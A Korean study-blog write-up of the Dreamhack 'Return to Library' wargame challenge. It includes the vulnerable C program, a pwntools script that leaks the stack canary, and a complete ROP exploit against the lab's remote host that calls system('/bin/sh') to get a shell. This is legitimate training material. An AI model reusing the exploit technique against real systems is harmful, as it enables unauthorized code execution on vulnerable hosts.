촉촉한초코칩

[Dreamhack] **Return to Library 본문

Study/System

[Dreamhack] **Return to Library

햄친구베이컨 2024. 5. 26. 18:46

C코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

카나리 우회 코드

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

 

리턴 가젯 찾기

ROPgadget 이용 : pypi 사용하여 설치 

python3 -m pip install ROPgadget --user

설치 확인

ROPgadget -v

--re 옵션 : 정규표현식으로 가젯 필터링 

 

익스플로잇

가젯을 구성하고, 실행하면 system("/bin/sh")를 실행할 수 있다. 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

"/bin/sh"의 주소는 pwndbg로 찾는다.

system 함수의 PLT 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다. 

 가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있다.

주의할 점

system 함수로 rip가 이동할 때, 스택은 0x10 단위로 정렬되어야 한다. 
0x10으로 정렬되어 있지 않으면 system 함수 내부에 있는 movaps 명령어에 의해 Segmentation Fault가 발생하기 때문이다.
> 제대로 실행되지 않는다면 system 함수의 가젯을 8바이트 뒤로 미뤄본다.  

from pwn import *
import warnings

warnings.filterwarnings("ignore")

def log(a, b):
    return success(f"{a}: {hex(b)}")

# connect process
p = remote("host3.dreamhack.games", 8841)
e = ELF("./rtl")
r = ROP(e)

#p = process('./rtl')
#e = ELF('./rtl')

# canary leak
p.recvuntil("Buf: ")
leak_payload = b"\x90"*56 + b"A"
p.send(leak_payload)
p.recvuntil("A")
canary = u64(b'\x00' + p.recvn(7))
log("canary",canary)

# system() & "/bin/sh" addr
system_plt = e.plt['system']
bin_sh = next(e.search(b'/bin/sh'))

# ROP gadget addr
ret = r.find_gadget(['ret'])[0]
pop_rdi_ret = r.find_gadget(['pop rdi'])[0]

# exploit
payload = b"\x90"*56+p64(canary)
payload += b"\x90"*8+p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_plt)
p.recvuntil("Buf: ")
p.send(payload)
p.interactive()

'Study > System' 카테고리의 다른 글

[Dreamhack] rop  (0) 2024.05.26
[Dreamhack] ssp_001 writeup  (0) 2024.05.19
[Dreamhack] Canary 생성 과정 동적 분석  (0) 2024.05.19
[Dreamhack] Canary 실습 동적 분석  (0) 2024.05.19
[Dreamhack] shell_basic (**다시 해보기...)  (0) 2024.05.13